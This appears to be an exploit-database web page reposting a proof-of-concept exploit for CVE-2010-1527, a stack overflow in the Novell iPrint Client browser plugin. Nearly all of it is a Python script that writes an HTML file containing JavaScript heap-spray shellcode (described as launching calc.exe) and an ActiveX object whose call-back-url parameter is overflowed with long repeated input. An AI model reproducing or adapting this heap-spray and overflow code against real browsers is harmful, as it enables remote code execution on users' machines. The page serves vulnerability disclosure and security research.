Home / os / win7

[remote exploits] - Novell iPrint Client Browser Plugin call

Posted on 19 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Novell iPrint Client Browser Plugin call-back-url Stack Overflow | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: remote exploits | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>================================================================
Novell iPrint Client Browser Plugin call-back-url Stack Overflow
================================================================

  Title            : Novell iPrint Client Browser Plugin call-back-url stack overflow
  Version          : iPrint Client plugin v5.42 (XP SP3)
  Analysis         : http://www.abysssec.com
  Vendor           : http://www.novell.com
  Impact           : Critical
  Contact          : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          : @abysssec
  CVE              : CVE-2010-1527
 
http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/
 
&#039;&#039;&#039;
 
import sys;
#calc.exe shellcode
temp = &quot;&quot;&quot;&lt;script&gt;
      
     shellcode = unescape(&#039;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#039;+
                    &#039;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#039;+
                    &#039;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#039;+
                    &#039;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#039;+
                    &#039;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#039;+
                    &#039;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#039;+
                    &#039;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#039;+
                    &#039;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#039;);
                       
     nops=unescape(&#039;%u9090%u9090&#039;);
     headersize =20;
     slackspace= headersize + shellcode.length;
     while(nops.length&lt; slackspace) nops+= nops;
     fillblock= nops.substring(0, slackspace);
     block= nops.substring(0, nops.length- slackspace);
     while( block.length+ slackspace&lt;0x50000) block= block+ block+ fillblock;
     memory=new Array();
     for( counter=0; counter&lt;200; counter++) memory[counter]= block + shellcode;    
&lt;/script&gt;
&lt;object ID=&#039;target&#039; classid=&#039;clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c&#039;&gt;
&lt;param name=&#039;operation&#039; value=&#039;op-client-interface-version&#039; /&gt;
&lt;param name=&#039;result-type&#039; value=&#039;url&#039; /&gt;
&lt;param name=&#039;call-back-url&#039; value=&#039;
 
&quot;&quot;&quot;
i=0
while(i&lt;1000):
    temp = temp + &quot;x0a&quot;;
    i=i+1
 
temp = temp + &quot;&quot;&quot;&#039; /&gt;
&lt;/object&gt;
&quot;&quot;&quot;
 
htmlFile = open(&quot;call-back-url.html&quot;,&quot;w&quot;)
htmlFile.write(temp)
htmlFile.close()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-19]</pre></body></html>

 

TOP

Malware :

Exploits :